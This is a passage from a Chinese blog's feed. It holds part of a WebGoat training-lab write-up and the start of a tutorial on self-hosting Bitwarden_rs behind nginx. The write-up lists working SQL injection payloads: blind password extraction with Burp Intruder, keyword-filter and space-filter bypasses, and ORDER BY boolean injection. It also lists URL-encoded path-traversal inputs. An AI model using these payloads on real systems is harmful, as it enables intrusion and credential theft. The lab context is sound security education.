style=&quot;color:#a5c261;&quot;&gt;&amp;#39;6&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; user_system_data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;--
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Dave的密码只要在返回的数据里找一下就好了(在数据库里直接保存密码明文是非常不安全的)。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-5-1&quot;&gt;Stage 5&lt;&#x2F;h3&gt;
&lt;p&gt;在尝试过后，发现登录页面好像没法注入。然后发现注册时，会先查询该用户有没有注册过，比如我先注册了一个名为123的用户，然后再次注册123时会报错，但是我填入&lt;code&gt;123&#x27; and &#x27;1&#x27;=&#x27;2&lt;&#x2F;code&gt;时就一直可以注册。于是基本就确定是利用注册页面的Username框了。&lt;&#x2F;p&gt;
&lt;p&gt;然后可以开始愉快的盲注了。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先用户名填入&lt;code&gt;tom&#x27; or password=&#x27;123&lt;&#x2F;code&gt;，发现没有返回服务器错误，那么就知道了密码所在的列名为&lt;code&gt;password&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;用Burp Suite的Intruder将&lt;code&gt;username_reg&lt;&#x2F;code&gt;参数改为 &lt;code&gt;tom&#x27; and (length(password)=§10§) --&lt;&#x2F;code&gt;，Payload类型选择为数字从一开始，依次增加，直到返回注册失败，得出密码长度为23。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;再发送&lt;code&gt;tom&#x27; and (substr(password,§1§,1)=&#x27;§2§&#x27;) --&lt;&#x2F;code&gt;使用&lt;code&gt;Cluster bomb&lt;&#x2F;code&gt;模式。注意，mysql字符串的下标是从1开始的，因此参数一的Payload类型为数字，从1到23。参数二为&lt;code&gt;Brute forcer&lt;&#x2F;code&gt;类型，字符集就填上大小写字母、数字，最大和最小长度都设为1。同时把攻击频率调低一点，防止出现500错误。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;开始攻击。参数都跑完之后过滤出含有注册失败信息的，即含有&lt;code&gt;already exists please try to register with a different username&lt;&#x2F;code&gt;的。可以得到如图的结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-2-injection&#x2F;.&#x2F;%E7%9B%B2%E6%B3%A8tom%E7%9A%84%E5%AF%86%E7%A0%81.png&quot; alt=&quot;盲注tom的密码&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;就这些字符按顺序连起来，就得到了最终的密码&lt;code&gt;thisisasecretfortomonly&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;盲注的返回值相当于只有True和False，因此要想办法让暴力破解不那么暴力。比如这题若是直接跑字典，可能一天也跑不完，但是利用sql的语法，可以一位一位的将密码试出来。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-6&quot;&gt;Stage 6&lt;&#x2F;h3&gt;
&lt;p&gt;自己做吧。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sql-injection-mitigation&quot;&gt;SQL Injection (mitigation)&lt;&#x2F;h2&gt;
&lt;p&gt;这一节介绍如何防止SQL注入。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-5-2&quot;&gt;Stage 5&lt;&#x2F;h3&gt;
&lt;p&gt;最终代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Connection&lt;&#x2F;span&gt;&lt;span&gt; conn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;DriverManager&lt;&#x2F;span&gt;&lt;span&gt;.getConnection(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;DBURL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;DBUSER&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;DBPW&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;PreparedStatement&lt;&#x2F;span&gt;&lt;span&gt; ps &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; conn.prepareStatement(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;SELECT status FROM users WHERE name= ? AND mail= ?&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;ps.setString(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,name);
&lt;&#x2F;span&gt;&lt;span&gt;ps.setString(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;,mail);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-6-1&quot;&gt;Stage 6&lt;&#x2F;h3&gt;
&lt;p&gt;不太懂它的意思，但随便写写就过了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;try &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Connection&lt;&#x2F;span&gt;&lt;span&gt; conn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;DriverManager&lt;&#x2F;span&gt;&lt;span&gt;.getConnection(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;DBURL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;DBUSER&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;DBPW&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;PreparedStatement&lt;&#x2F;span&gt;&lt;span&gt; ps &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; conn.prepareStatement(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;SELECT * FROM user_table WHERE username = ? &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    ps.setString(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;pUsername&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    ps.execute();
&lt;&#x2F;span&gt;&lt;span&gt;} &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;catch &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Exception &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;System&lt;&#x2F;span&gt;&lt;span&gt;.out.println(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Oops. Something went wrong!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-9-1&quot;&gt;Stage 9&lt;&#x2F;h3&gt;
&lt;p&gt;题目的要求和SQL Injection (advanced)的Stage 3相同，但是这次不允许输入空格，也很好解决，将空格换成注释行内&lt;code&gt;&#x2F;**&#x2F;&lt;&#x2F;code&gt;即可。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span&gt;Smith&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;;SELECT&#x2F;**&#x2F;*&#x2F;**&#x2F;FROM&#x2F;**&#x2F;user_system_data;--
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-10-1&quot;&gt;Stage 10&lt;&#x2F;h3&gt;
&lt;p&gt;要求和前一题相同，这次不仅不允许有空格，还会把&lt;code&gt;SELECT&lt;&#x2F;code&gt;和&lt;code&gt;FROM&lt;&#x2F;code&gt;删掉，我们只要留下一个&lt;code&gt;SELECT&lt;&#x2F;code&gt;让他删，删掉后又组成一个&lt;code&gt;SELECT&lt;&#x2F;code&gt;，比如这样&lt;code&gt;SSELECTELECT&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;&lt;span&gt;Smith&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;;SSELECTELECT&#x2F;**&#x2F;*&#x2F;**&#x2F;FFROMROM&#x2F;**&#x2F;user_system_data;--
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-12-1&quot;&gt;Stage 12&lt;&#x2F;h3&gt;
&lt;p&gt;通过提示，提交按钮是不能SQL注入的(但是可以爆破啊!不过这样做这题就没有意义了)。然后发现点击表头上的小箭头会发送一个GET请求。那就可以注入了。&lt;&#x2F;p&gt;
&lt;p&gt;可以猜测是一个类似于&lt;code&gt;SELECT * FROM xxxxx ORDER BY [参数]&lt;&#x2F;code&gt;的SQL语句。改一下参数看看会发生什么吧。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-2-injection&#x2F;.&#x2F;Stage_12_php_error.png&quot; alt=&quot;Stage_12_php_error&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如图，直接返回了php的报错信息，仔细分析，发现了实际的SQL语句为&lt;code&gt;select id, hostname, ip, mac, status, description from servers where status &amp;lt;&amp;gt; &#x27;out of order&#x27; order by [参数]&lt;&#x2F;code&gt;同时得到了表名为&lt;code&gt;servers&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;可以用when语句进行布尔盲注&lt;code&gt;case when ([bool]) then id else ip end&lt;&#x2F;code&gt;这样如果bool为假就会按ip排序。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;首先先判断ip的长度，替换上面的&lt;code&gt;bool&lt;&#x2F;code&gt;为&lt;code&gt;SELECT length(ip)=15 FROM servers where hostname=&#x27;webgoat-prd&#x27;&lt;&#x2F;code&gt;，结果是按id排序，因此ip的第一段必定大于等于一百。&lt;&#x2F;li&gt;
&lt;li&gt;然后可以二分查找，&lt;code&gt;SELECT cast(substr(ip,1,3) as int)&amp;gt;177 FROM servers where hostname=&#x27;webgoat-prd&#x27;&lt;&#x2F;code&gt;为假，逐步缩小范围，最后可以得到ip第一段为104。&lt;&#x2F;li&gt;
&lt;li&gt;最终答案为&lt;code&gt;104.130.219.202&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;path-traversal&quot;&gt;Path traversal&lt;&#x2F;h2&gt;
&lt;p&gt;注入路径，使文件上传到特定位置&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-2-1&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;随便选一个文件，用户名填&lt;code&gt;..&#x2F;test&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3-2&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;这次会直接把&lt;code&gt;..&#x2F;&lt;&#x2F;code&gt;字符串给替换成空，解决方法和和SQL注入时一样，写成&lt;code&gt;...&#x2F;.&#x2F;test&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-4-1&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;这次&lt;code&gt;Full name&lt;&#x2F;code&gt;字段没法注入了，但是可以抓到POST请求修改，如图&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-2-injection&#x2F;.&#x2F;path_Stage_4.png&quot; alt=&quot;path_Stage_4&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-5-3&quot;&gt;Stage 5&lt;&#x2F;h3&gt;
&lt;p&gt;点击&lt;code&gt;Show random cat picture&lt;&#x2F;code&gt;的按钮，抓包发现没有任何参数，但看到响应的Headers里面有一个Location参数却带了参数。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-2-injection&#x2F;.&#x2F;path_Stage_5_location.png&quot; alt=&quot;path_Stage_5_location&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;于是试着加上一个参数&lt;code&gt;id=path-traversal-secret.jpg&lt;&#x2F;code&gt;结果400，看了hints，经过一番尝试后，终于用&lt;code&gt;id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret&lt;&#x2F;code&gt;成功了。这里需要URL编码来绕过对&lt;code&gt;..&#x2F;..&#x2F;&lt;&#x2F;code&gt;的检测。&lt;&#x2F;p&gt;
&lt;p&gt;返回提示说要提交你用户名的SHA-512值，很简单&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;echo &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;-n &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;你的用户名&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;]|&lt;&#x2F;span&gt;&lt;span&gt;sha512sum
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不要忘了&lt;code&gt;-n&lt;&#x2F;code&gt;参数！！！&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;有用户输入的地方就很有可能有注入，无论是SQL、XSS，还是PWN，都是程序把用户输入当做命令来执行。所以在处理用户输入时要格外小心。而且输入参数检验尽量前后端都放，前端检验虽然防君子不防小人，但可以减少服务器的压力。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Bitwarden_rs服务器搭建</title>
        <published>2020-09-11T00:00:00+00:00</published>
        <updated>2020-09-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/bitwarden-rsfu-wu-qi-da-jian/"/>
        <id>https://richar.top/bitwarden-rsfu-wu-qi-da-jian/</id>
        
        <content type="html" xml:base="https://richar.top/bitwarden-rsfu-wu-qi-da-jian/">&lt;h1 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h1&gt;
&lt;p&gt;Bitwarden是一款开源密码管理工具，我之前也一直在用它。但使用官方的服务器不仅网速有点慢，而且数据在别人那里，万一它跑路了，就啥都登不进了。既然自己有个服务器，那就自己搭一个bitwarden的服务端吧。
自行搭建官方的Bitwarden服务端需要去官网申请，可不知道什么原因总是504，可能是官方把接口关闭了吧。因此这里使用非官方的服务端&lt;code&gt;Bitwarden_rs&lt;&#x2F;code&gt;(&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dani-garcia&#x2F;bitwarden_rs&quot;&gt;Github地址&lt;&#x2F;a&gt;)，用的是&lt;code&gt;Rust&lt;&#x2F;code&gt;，不过用&lt;code&gt;Docker&lt;&#x2F;code&gt;封装了，安装使用还是挺方便的。官方给的教程用的是&lt;code&gt;Caddy&lt;&#x2F;code&gt;服务器，因为我不怎么熟，所以就自己研究了一下&lt;code&gt;nginx&lt;&#x2F;code&gt;的配置。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;da-jian-guo-cheng&quot;&gt;搭建过程&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建文件夹&lt;code&gt;mkdir bitwarden &amp;amp;&amp;amp; cd bitwarden&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;创建文件&lt;code&gt;docker-compose.yml&lt;&#x2F;code&gt;
内容如下:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;YAML&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-YAML &quot;&gt;&lt;code class=&quot;language-YAML&quot; data-lang=&quot;YAML&quot;&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;3&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;services&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;bitwarden&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;image&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;vaultwarden&#x2F;server:latest
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;restart&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;always
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;volumes&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;.&#x2F;bw-data:&#x2F;data
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;ports&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3011:80
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3012:3012
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;environment&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;WEBSOCKET_ENABLED&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;true&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Required to use websockets
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;SIGNUPS_ALLOWED&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;true&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;WEB_VAULT_ENABLED&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;true&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#是否开启Web客户端
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这里映射了两个端口，容器的80和3012端口要用到，因此映射出来，一会要用到。&lt;&#x2F;p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;
&lt;p&gt;修改&lt;code&gt;nginx&lt;&#x2F;code&gt;配置&lt;&#x2F;p&gt;
&lt;p&gt;内容如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nginx&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-nginx &quot;&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#bitwarden
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;server&lt;&#x2F;span&gt;&lt;span&gt; {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;listen       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;443&lt;&#x2F;span&gt;&lt;span&gt; ssl;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;server_name&lt;&#x2F;span&gt;&lt;span&gt;  [你的域名];
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ssl_certificate&lt;&#x2F;span&gt;&lt;span&gt;      [你的证书];
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ssl_certificate_key&lt;&#x2F;span&gt;&lt;span&gt;  [你的证书私钥];
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ssl_session_cache&lt;&#x2F;span&gt;&lt;span&gt;    shared:SSL:1m;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ssl_session_timeout  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5m&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ssl_protocols&lt;&#x2F;span&gt;&lt;span&gt; TLSv1 TLSv1.1 TLSv1.2;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ssl_ciphers&lt;&#x2F;span&gt;&lt;span&gt; ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ssl_prefer_server_ciphers&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; on&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;location &lt;&#x2F;span&gt;&lt;span&gt;&#x2F; {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_pass&lt;&#x2F;span&gt;&lt;span&gt;                          http:&#x2F;&#x2F;127.0.0.1:3011;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Upgrade            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$http_upgrade&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Connection         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;upgrade&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; Host               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$host&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Real-IP          &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$remote_addr&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-For    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$proxy_add_x_forwarded_for&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Proto  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$scheme&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Host   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$host&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_set_header&lt;&#x2F;span&gt;&lt;span&gt; X-Forwarded-Port   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;$server_port&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;location &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;notifications&#x2F;hub {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;proxy_pass&lt;&#x2F;span&gt;&lt;span&gt;                          http:&#x2F;&#x2F;127.0.0.1:3012;
